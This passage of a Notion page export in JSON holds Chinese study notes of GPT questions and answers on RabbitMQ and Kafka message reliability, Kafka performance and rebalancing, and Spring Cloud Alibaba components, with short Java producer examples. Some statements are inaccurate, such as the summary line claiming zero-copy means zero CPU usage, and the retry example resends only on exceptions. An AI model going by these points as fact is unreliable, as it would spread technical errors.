服务重启,队列的定义也不会丢失。"]]},"created_time":1712560549337,"last_edited_time":1712560549339,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9da2714f-aa6c-4b74-b1f7-9614c5ff4b09":{"value":{"id":"9da2714f-aa6c-4b74-b1f7-9614c5ff4b09","type":"numbered_list","properties":{"title":[["消息确认",[["b"]]],[":RabbitMQ 提供了消息确认的机制,包括发布确认和消费确认。当消息被成功发布到一个队列,或者被一个消费者成功消费,RabbitMQ 会返回一个确认给发布者或者消费者。"]]},"created_time":1712560549337,"last_edited_time":1712560549339,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9058d545-c4c9-4402-9a3b-576d58ce4130":{"value":{"id":"9058d545-c4c9-4402-9a3b-576d58ce4130","type":"numbered_list","properties":{"title":[["镜像队列",[["b"]]],[":RabbitMQ 还提供了镜像队列的功能,可以将队列的所有内容都复制到其他节点,如果一个节点挂掉,消息依然可以从其他节点获取。"]]},"created_time":1712560549337,"last_edited_time":1712560549339,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"b7302dfd-0280-40eb-865d-dc48f6f0e269":{"value":{"id":"b7302dfd-0280-40eb-865d-dc48f6f0e269","type":"text","properties":{"title":[["以上都是 RabbitMQ 保证消息不丢失的方式,但是需要注意的是,开启持久化、消息确认等功能都会增加 RabbitMQ 服务的负载,可能会影响到 RabbitMQ 服务的性能。因此,需要根据实际业务情况进行权衡。"]]},"created_time":1712560549337,"last_edited_time":1712560549339,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"502bf2e0-9d35-4d47-b565-ae4a9d69e944":{"value":{"id":"502bf2e0-9d35-4d47-b565-ae4a9d69e944","type":"divider","format":{"copied_from_pointer":{"id":"f048549e-6ce9-40c0-84cb-9538806d956b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556310965,"last_edited_time":1712556310968,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"f048549e-6ce9-40c0-84cb-9538806d956b"}},"b39e6166-90a9-4465-8073-7be3606c9e46":{"value":{"id":"b39e6166-90a9-4465-8073-7be3606c9e46","type":"text","format":{"copied_from_pointer":{"id":"9abd68a0-fd30-4736-abc4-1349afa7f49e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712560556276,"last_edited_time":1712560556276,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"434354ac-7b65-4abe-8354-504ada01c2b1":{"value":{"id":"434354ac-7b65-4abe-8354-504ada01c2b1","type":"quote","properties":{"title":[["给我一个java代码例子,并且如果confirm不及时要及时重发"]]},"created_time":1712560558413,"last_edited_time":1712560566471,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"62a9d1b5-1125-4eba-ba1c-4135e18c4a83":{"value":{"id":"62a9d1b5-1125-4eba-ba1c-4135e18c4a83","type":"text","properties":{"title":[["以下是一个简单的使用 RabbitMQ Confirm 机制的 Java 代码示例。在这个示例中,我们创建了一个生产者,发送消息到 RabbitMQ 服务器。如果消息没有被 RabbitMQ 服务器确认,我们会尝试重新发送。"]]},"created_time":1712560575272,"last_edited_time":1712560575283,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"711c4e42-c8d6-43b2-9b4c-cb02485a4b97":{"value":{"id":"711c4e42-c8d6-43b2-9b4c-cb02485a4b97","type":"code","properties":{"title":[["import com.rabbitmq.client.*;\n\nimport java.io.IOException;\n\npublic class ConfirmProducer {\n private final static String QUEUE_NAME = \"confirm_queue\";\n\n public static void main(String[] argv) throws Exception {\n // 创建连接工厂\n ConnectionFactory factory = new ConnectionFactory();\n // 设置 RabbitMQ 地址\n factory.setHost(\"localhost\");\n // 创建一个新的连接\n Connection connection = factory.newConnection();\n // 创建一个通道\n Channel channel = connection.createChannel();\n // 声明一个队列\n channel.queueDeclare(QUEUE_NAME, true, false, false, null);\n\n // 开启 publisher confirm\n channel.confirmSelect();\n\n String message = \"Hello World!\";\n for (int i = 0; i < 5; i++) {\n try {\n // 发布消息\n channel.basicPublish(\"\", QUEUE_NAME, null, message.getBytes(\"UTF-8\"));\n System.out.println(\"Sent '\" + message + \"'\");\n // 等待消息确认\n if (!channel.waitForConfirms()) {\n System.out.println(\"Message sent failed\");\n }\n } catch (Exception e) {\n System.out.println(\"Message send failed, retry...\");\n // 如果发送消息失败,重新发送\n channel.basicPublish(\"\", QUEUE_NAME, null, message.getBytes(\"UTF-8\"));\n }\n }\n\n // 关闭通道和连接\n channel.close();\n connection.close();\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712560575279,"last_edited_time":1712560575283,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"00e21033-e31a-4bb1-a10b-988ccb3b641f":{"value":{"id":"00e21033-e31a-4bb1-a10b-988ccb3b641f","type":"text","properties":{"title":[["注意:这个例子使用了 "],["waitForConfirms()",[["c"]]],[" 方法来等待 RabbitMQ 服务器的确认,如果没有收到确认,我们会尝试重新发送消息。这是一个简单的示例,实际应用中可能需要考虑更多的因素,例如:消息的重试次数、错误处理等。"]]},"created_time":1712560575280,"last_edited_time":1712560575283,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2d672bd7-599d-48ff-8364-fcb792ca9db2":{"value":{"id":"2d672bd7-599d-48ff-8364-fcb792ca9db2","type":"divider","created_time":1712560630168,"last_edited_time":1712560630169,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1f4bc2de-b7ce-4e10-acc9-d7fac4c96fb6":{"value":{"id":"1f4bc2de-b7ce-4e10-acc9-d7fac4c96fb6","type":"text","created_time":1712560630397,"last_edited_time":1712596073608,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e2322e43-e963-47ee-b2e4-63eff6cd8909":{"value":{"id":"e2322e43-e963-47ee-b2e4-63eff6cd8909","type":"quote","properties":{"title":[["kafka怎么保证消息不丢失的,他为什么快呢,kafka重平衡是啥"]]},"created_time":1712560632167,"last_edited_time":1712560640450,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9e1f4135-c258-4d50-a41a-8628fafa06ff":{"value":{"id":"9e1f4135-c258-4d50-a41a-8628fafa06ff","type":"text","properties":{"title":[["Kafka也提供了一些机制来保证消息不会丢失:"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"b6b71e09-27aa-4152-ad9e-bfc53538962f":{"value":{"id":"b6b71e09-27aa-4152-ad9e-bfc53538962f","type":"numbered_list","properties":{"title":[["副本机制",[["b"]]],[":Kafka的每条消息都会在多个副本上进行存储,这样即使其中某个副本发生故障,也能从其他副本中读取到数据,保证数据的可靠性。"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1456be54-5b0f-4d74-9e6d-bc9588dff4e2":{"value":{"id":"1456be54-5b0f-4d74-9e6d-bc9588dff4e2","type":"numbered_list","properties":{"title":[["持久化",[["b"]]],[":Kafka的消息会被写入硬盘,保证了即使在Kafka服务器宕机的情况下,数据也不会丢失。"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9455e271-ba3a-4c7b-9008-2f8a846a7876":{"value":{"id":"9455e271-ba3a-4c7b-9008-2f8a846a7876","type":"numbered_list","properties":{"title":[["消息确认机制",[["b"]]],[":Kafka提供了消息确认机制,当消息被成功写入副本后,生产者会收到一个ACK确认,这样可以确保消息已经成功提交。"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7d9a1253-4ca8-471f-b830-2f32456ff5c5":{"value":{"id":"7d9a1253-4ca8-471f-b830-2f32456ff5c5","type":"text","properties":{"title":[["Kafka为什么快呢?"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f4299ad8-b560-40e9-becd-583ee22a163a":{"value":{"id":"f4299ad8-b560-40e9-becd-583ee22a163a","type":"numbered_list","properties":{"title":[["零拷贝技术",[["b"]]],[":Kafka使用了零拷贝技术,可以减少系统调用的次数,大大提高了数据读写的效率。"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6d611ac6-7817-44c4-872f-91939752f346":{"value":{"id":"6d611ac6-7817-44c4-872f-91939752f346","type":"numbered_list","properties":{"title":[["批处理",[["b"]]],[":Kafka可以将多条消息打包在一起进行处理,这样可以减少网络请求的次数,提高了处理效率。"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"861ddcc1-518c-40dd-9aec-4b1653dd9b2f":{"value":{"id":"861ddcc1-518c-40dd-9aec-4b1653dd9b2f","type":"numbered_list","properties":{"title":[["顺序读写",[["b"]]],[":Kafka的消息是顺序写入的,而且大部分读操作也是顺序的,这样在磁盘进行IO操作时,可以大大提高效率。"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4fe06e0a-988f-45eb-8ae6-7d74bb4c6f48":{"value":{"id":"4fe06e0a-988f-45eb-8ae6-7d74bb4c6f48","type":"text","properties":{"title":[["Kafka的重平衡是什么?"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f9a28f5b-20ee-45b1-bbeb-882f1d18598a":{"value":{"id":"f9a28f5b-20ee-45b1-bbeb-882f1d18598a","type":"text","properties":{"title":[["重平衡(Rebalance)是Kafka的一种机制,它可以在消费者的数量发生变化时(例如新消费者加入,或者旧消费者退出),动态地将Topic的Partition分配给消费者,保证系统的负载均衡。这是Kafka保证高可用和负载均衡的"]]},"created_time":1712560648632,"last_edited_time":1712560648637,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1d2e562e-e2ff-422f-a5dd-1d3f9d6e372b":{"value":{"id":"1d2e562e-e2ff-422f-a5dd-1d3f9d6e372b","type":"divider","created_time":1712560957515,"last_edited_time":1712560957516,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3544d2b5-f23e-4f41-a2bc-4be91c31ab61":{"value":{"id":"3544d2b5-f23e-4f41-a2bc-4be91c31ab61","type":"text","created_time":1712560959263,"last_edited_time":1712560959263,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"adf42e64-ea16-4c32-8bbc-cfe3428a10c2":{"value":{"id":"adf42e64-ea16-4c32-8bbc-cfe3428a10c2","type":"quote","properties":{"title":[["那么意味着kafka是cp的,假如集群有5个节点,我们打开confirm机制,即A消息在send的时候必须要有3个以上的节点落库才能cofirm是吧。如果是这样的给我用java代码写出他的底层实现,并且把rebalance的底层实现用java代码给我"]]},"created_time":1712560960356,"last_edited_time":1712560971716,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"7a0fc2f4-69a5-466a-bb84-d67440dab4c5":{"value":{"id":"7a0fc2f4-69a5-466a-bb84-d67440dab4c5","type":"text","properties":{"title":[["首先,Kafka 是 AP 的,不是 CP 的。Kafka 的设计目标是高吞吐量和数据持久化,而不是强一致性。"]]},"created_time":1712560980486,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"87f05ca5-494a-4d30-8967-4cdea837b9c6":{"value":{"id":"87f05ca5-494a-4d30-8967-4cdea837b9c6","type":"text","properties":{"title":[["其次,Kafka 的确认机制有三种级别:"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"dca20905-e5ed-4fd0-bc94-bad04a521c54":{"value":{"id":"dca20905-e5ed-4fd0-bc94-bad04a521c54","type":"bulleted_list","properties":{"title":[["acks=0",[["c"]]],[":生产者不等待来自 broker 的确认。"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"079003e7-3003-4205-bb70-47ee6de6c3a9":{"value":{"id":"079003e7-3003-4205-bb70-47ee6de6c3a9","type":"bulleted_list","properties":{"title":[["acks=1",[["c"]]],[":只等待 leader 的确认,不等待 follower 的确认。如果 leader 在确认后立即崩溃,消息将会丢失。"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a5117771-720a-45c3-bce2-1ea60bfaadaf":{"value":{"id":"a5117771-720a-45c3-bce2-1ea60bfaadaf","type":"bulleted_list","properties":{"title":[["acks=all",[["c"]]],[":等待所有的副本都确认。只要有一个副本存活,消息就不会丢失。"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f7ac0b7c-4e02-4d27-9211-fe35d2c7af0a":{"value":{"id":"f7ac0b7c-4e02-4d27-9211-fe35d2c7af0a","type":"text","properties":{"title":[["对于你说的“至少有 3 个节点确认”,你可能是指将 Kafka 的 "],["min.insync.replicas",[["c"]]],[" 配置项设置为 3,这样,一个消息至少需要被 3 个副本确认才会被认为是已提交,进而生产者才会收到 ack。"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"85b6dc8b-22e0-450a-bfd1-101302f4d1a4":{"value":{"id":"85b6dc8b-22e0-450a-bfd1-101302f4d1a4","type":"text","properties":{"title":[["下面是一个使用 Kafka 生产者的 Java 代码示例:"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ddbc08d5-afdd-4ce4-afec-6e3fb8328106":{"value":{"id":"ddbc08d5-afdd-4ce4-afec-6e3fb8328106","type":"code","properties":{"title":[["import org.apache.kafka.clients.producer.*;\n\nimport java.util.Properties;\n\npublic class ProducerExample {\n public static void main(String[] args) {\n Properties props = new Properties();\n props.put(\"bootstrap.servers\", \"localhost:9092\");\n props.put(\"acks\", \"all\"); // 等待所有副本确认\n props.put(\"key.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\");\n props.put(\"value.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\");\n\n Producer producer = new KafkaProducer<>(props);\n for(int i = 0; i < 100; i++) {\n producer.send(new ProducerRecord(\"my-topic\", Integer.toString(i), Integer.toString(i)),\n new Callback() {\n public void onCompletion(RecordMetadata metadata, Exception e) {\n if(e != null) {\n e.printStackTrace();\n } else {\n System.out.println(\"The offset of the record we just sent is: \" + metadata.offset());\n }\n }\n });\n }\n producer.close();\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"75f6c685-0009-4133-b82b-1b4f09052f42":{"value":{"id":"75f6c685-0009-4133-b82b-1b4f09052f42","type":"text","properties":{"title":[["至于 Kafka 的 Rebalance 机制,这是由 Kafka 的消费者组协调器(Group Coordinator)和消费者组成员(Group Member)共同完成的一个过程,涉及到的逻辑比较复杂,涉及到 Kafka 的消费者 API、协调器、网络协议等多个方面,很难用一个简单的 Java 代码示例来展示。在使用 Kafka 消费者 API 的时候,Rebalance 是自动进行的,你不需要自己去实现这个过程。如果你想要了解更多关于 Rebalance 的底层实现,我建议你阅读 Kafka 的源代码和相关文档。"]]},"created_time":1712560980487,"last_edited_time":1712560980491,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6383b863-63cd-447d-92e6-5b4a93aa078c":{"value":{"id":"6383b863-63cd-447d-92e6-5b4a93aa078c","type":"divider","created_time":1712561139954,"last_edited_time":1712561139955,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c4247cc4-0a69-41d1-af74-e76ed7389b1b":{"value":{"id":"c4247cc4-0a69-41d1-af74-e76ed7389b1b","type":"text","created_time":1712561140272,"last_edited_time":1712561140272,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3919e1a2-4dc6-40bb-a618-5bae4f8619b8":{"value":{"id":"3919e1a2-4dc6-40bb-a618-5bae4f8619b8","type":"quote","properties":{"title":[["acks=all就表示cp,acks=0就表示ap是吧。还有零拷贝技术是啥,为什么说kafka的消息为顺序读写,rabbitmq不是顺序读写吗,他为啥不设计为顺序读写"]]},"created_time":1712561141725,"last_edited_time":1712561147028,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3017d86d-af6e-491d-911d-05897b109865":{"value":{"id":"3017d86d-af6e-491d-911d-05897b109865","type":"text","properties":{"title":[["首先,关于 CAP 理论,它描述的是一个分布式系统在面对分区容忍性(P)、一致性(C)和可用性(A)这三种特性时,最多只能满足其中的两项。Kafka 的 "],["acks",[["c"]]],[" 参数的设置并不能直接决定 Kafka 是 CP 还是 AP。事实上,Kafka 的设计更偏向于 AP,因为 Kafka 允许在一定程度上牺牲一致性(例如,当部分副本失效时,仍然允许读写)。"]]},"created_time":1712561151410,"last_edited_time":1712561151412,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a0870cce-2487-4359-a5bc-1e24e23497b7":{"value":{"id":"a0870cce-2487-4359-a5bc-1e24e23497b7","type":"text","properties":{"title":[["零拷贝技术是指在进行数据传输时,不通过 CPU,直接从内存或者磁盘读取数据并发送到网络,或者从网络接收数据并写入内存或者磁盘,从而提高数据传输的效率,并减少 CPU 的使用。"]]},"created_time":1712561151410,"last_edited_time":1712561151412,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"fd0ebc6d-e5bc-4f9f-beea-4eeea24b199c":{"value":{"id":"fd0ebc6d-e5bc-4f9f-beea-4eeea24b199c","type":"text","properties":{"title":[["Kafka 的消息是顺序读写的,这是因为 Kafka 的数据结构是日志(Log),每条消息都被追加到日志的尾部,消费者按顺序从日志中读取数据,这样可以充分利用磁盘的顺序读写特性,提高数据读写的效率。"]]},"created_time":1712561151410,"last_edited_time":1712561151412,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"81b95175-76c1-417c-8c94-007a9208277d":{"value":{"id":"81b95175-76c1-417c-8c94-007a9208277d","type":"text","properties":{"title":[["至于 RabbitMQ,它是一个基于 AMQP 协议的消息队列,其设计目标主要是实现可靠的消息传输和路由,而不是高吞吐量。RabbitMQ 的消息并非总是顺序读写的,例如,在处理消息确认、消息路由等操作时,可能需要进行随机访问。此外,RabbitMQ 中的消息可以被多个消费者并发消费,这也使得消息的读取并非总是顺序的。"]]},"created_time":1712561151410,"last_edited_time":1712561151412,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"61a67d4b-1bc3-4056-8904-d05f0eef3c66":{"value":{"id":"61a67d4b-1bc3-4056-8904-d05f0eef3c66","type":"divider","created_time":1712561156375,"last_edited_time":1712561156376,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2e8129a2-e97f-4632-a4fc-12443036ef71":{"value":{"id":"2e8129a2-e97f-4632-a4fc-12443036ef71","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"9abd68a0-fd30-4736-abc4-1349afa7f49e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556310965,"last_edited_time":1712556553114,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"9abd68a0-fd30-4736-abc4-1349afa7f49e"}},"7a77d366-db86-41b5-a144-dc34cf4e6a83":{"value":{"id":"7a77d366-db86-41b5-a144-dc34cf4e6a83","type":"bulleted_list","properties":{"title":[["零拷贝技术指的是CPU占用为0"]]},"format":{"copied_from_pointer":{"id":"1b5bb1c9-7d56-4061-9785-917f8158fee0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556310965,"last_edited_time":1712561201857,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"1b5bb1c9-7d56-4061-9785-917f8158fee0"}},"7fac6471-5ec1-4e67-8387-30e92c6fc053":{"value":{"id":"7fac6471-5ec1-4e67-8387-30e92c6fc053","type":"bulleted_list","properties":{"title":[["rebalance就是自动负载均衡嘛"]]},"created_time":1712561202353,"last_edited_time":1712561236293,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"e38bf574-3b9c-4aab-a187-9f0257962b65":{"value":{"id":"e38bf574-3b9c-4aab-a187-9f0257962b65","type":"bulleted_list","properties":{"title":[["kafka可以指定ack服务器的数目来动态调节可用性和一致性"]]},"created_time":1712561236408,"last_edited_time":1712561267435,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6b25396e-283d-4038-a956-9ae71b8ebf82":{"value":{"id":"6b25396e-283d-4038-a956-9ae71b8ebf82","type":"bulleted_list","properties":{"title":[["还有就是kafka的数据结构是顺序存储,为了满足rabbitMQ的高级特性没有办法设计顺序存储的数据结构"]]},"created_time":1712561274914,"last_edited_time":1712561457579,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1945ff1b-f605-450a-83c0-ac0a3b286184":{"value":{"id":"1945ff1b-f605-450a-83c0-ac0a3b286184","type":"text","created_time":1712556389666,"last_edited_time":1712556389666,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c96bcf4d-23f4-4998-81ec-80c85df71b91":{"value":{"id":"c96bcf4d-23f4-4998-81ec-80c85df71b91","type":"sub_header","properties":{"title":[["6.SpringCloud"]]},"created_time":1712556389801,"last_edited_time":1712556720532,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d85ef88a-350b-4e56-b8a7-5e9f2f01cf4a":{"value":{"id":"d85ef88a-350b-4e56-b8a7-5e9f2f01cf4a","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"02309e5e-08c3-4749-858a-8fa7c80d0dab","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556393724,"last_edited_time":1712556393727,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"02309e5e-08c3-4749-858a-8fa7c80d0dab"}},"962cb662-c38b-4438-b3a4-df15d28b90f6":{"value":{"id":"962cb662-c38b-4438-b3a4-df15d28b90f6","type":"quote","properties":{"title":[["我用的是SpringCloudAlibaba这一套,给我详细介绍下gateway,seata,openfeign,nacos,sentinel等组件"]]},"format":{"copied_from_pointer":{"id":"f804b57a-103a-4a96-8a5c-6fccdcf2a9c7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556393724,"last_edited_time":1712566605370,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"f804b57a-103a-4a96-8a5c-6fccdcf2a9c7"}},"f32fa49e-4cf8-43de-a1a3-7f22588a18bb":{"value":{"id":"f32fa49e-4cf8-43de-a1a3-7f22588a18bb","type":"text","properties":{"title":[["Spring Cloud Alibaba是Spring Cloud与阿里巴巴中间件团队的深度合作的一个项目,主要是将阿里巴巴微服务解决方案与Spring Cloud技术体系无缝集成。这一套技术栈包括了Nacos、Sentinel、Seata、RocketMQ、Dubbo、SkyWalking等组件。"]]},"created_time":1712566614959,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0a3a5067-4a7c-4044-82d9-fa8cd828e3d4":{"value":{"id":"0a3a5067-4a7c-4044-82d9-fa8cd828e3d4","type":"numbered_list","properties":{"title":[["Gateway",[["b"]]],["\nSpring Cloud Gateway是Spring Cloud官方推出的二代网关框架,目的在于替代Zuul。它是基于Netty服务器的异步非阻塞模型开发的,因此在性能上相较Zuul有很大的提升。Gateway提供了路由转发、过滤器、限流、熔断等网关基本特性。"]]},"created_time":1712566614959,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"48166259-1d2f-4ce3-927c-33061da94f03":{"value":{"id":"48166259-1d2f-4ce3-927c-33061da94f03","type":"numbered_list","properties":{"title":[["Seata",[["b"]]],["\nSeata(Simple Extensible Autonomous Transaction Architecture)是一种简单、易扩展、自治的事务解决方案。Seata 是阿里巴巴开源的一款分布式事务解决方案,提供高性能和简单易用的分布式事务服务。"]]},"created_time":1712566614959,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"bd849e8b-ff5b-493d-98b0-e3a5a9bd6a8e":{"value":{"id":"bd849e8b-ff5b-493d-98b0-e3a5a9bd6a8e","type":"numbered_list","properties":{"title":[["OpenFeign",[["b"]]],["\nSpring Cloud OpenFeign是一种声明式的WebService客户端。使用Feign能使编写HTTP客户端变得更加简单。它的一个优点是通过注解可以自动化地创建HTTP请求。"]]},"created_time":1712566614959,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"13171ab9-3e39-4a7a-85c2-08d10e92698f":{"value":{"id":"13171ab9-3e39-4a7a-85c2-08d10e92698f","type":"numbered_list","properties":{"title":[["Nacos",[["b"]]],["\nNacos(Dynamic Naming and Configuration Service)是阿里巴巴开源的一款更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。Nacos能够帮助您发现、配置和管理微服务。Nacos 提供了一套简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据和流量管理。"]]},"created_time":1712566614960,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"9cc800e8-289c-472d-ac58-022feda832c7":{"value":{"id":"9cc800e8-289c-472d-ac58-022feda832c7","type":"numbered_list","properties":{"title":[["Sentinel",[["b"]]],["\nSentinel 是阿里巴巴开源的一款流量控制组件,主要用于防止服务雪崩和服务保护。它含有流量控制、熔断降级、系统负载保护等多种控制手段,可以在系统压力过大的情况下进行自动的保护和降级。"]]},"created_time":1712566614960,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"47e82160-ecbc-46bc-ac91-f39f0cff236b":{"value":{"id":"47e82160-ecbc-46bc-ac91-f39f0cff236b","type":"text","properties":{"title":[["以上就是这些组件的基本介绍,他们在微服务架构中都扮演了非常重要的角色,帮助开发者更好地构建和维护复杂的微服务系统。"]]},"created_time":1712566614960,"last_edited_time":1712566614963,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ed9d4efb-59bf-4e29-a0fe-eafef875dd2b":{"value":{"id":"ed9d4efb-59bf-4e29-a0fe-eafef875dd2b","type":"divider","format":{"copied_from_pointer":{"id":"502bf2e0-9d35-4d47-b565-ae4a9d69e944","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556393724,"last_edited_time":1712556393727,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"502bf2e0-9d35-4d47-b565-ae4a9d69e944"}},"d7bd43ee-d8e8-43cb-8a74-983a002c2342":{"value":{"id":"d7bd43ee-d8e8-43cb-8a74-983a002c2342","type":"text","format":{"copied_from_pointer":{"id":"2e8129a2-e97f-4632-a4fc-12443036ef71","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712567235498,"last_edited_time":1712567235498,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"b91fd63b-5e0f-4e82-9e21-b30d2e189152":{"value":{"id":"b91fd63b-5e0f-4e82-9e21-b30d2e189152","type":"quote","properties":{"title":[["geteway是在网关入口层面做的限流熔断,sentinel是在服务调用方面做的限流熔断吗。我在feign里面写的降级策略是配合熔断用的是不是。还有熔断的意义在哪里,服务都挂了,都出生产事故了"]]},"created_time":1712567236666,"last_edited_time":1712567242139,"parent_id":"9a78ba09-76ce-4344-bad5-f6d6